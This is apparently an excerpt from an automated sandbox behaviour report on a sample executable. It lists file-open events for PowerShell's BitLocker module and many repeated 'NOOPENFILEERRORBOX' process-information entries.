Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
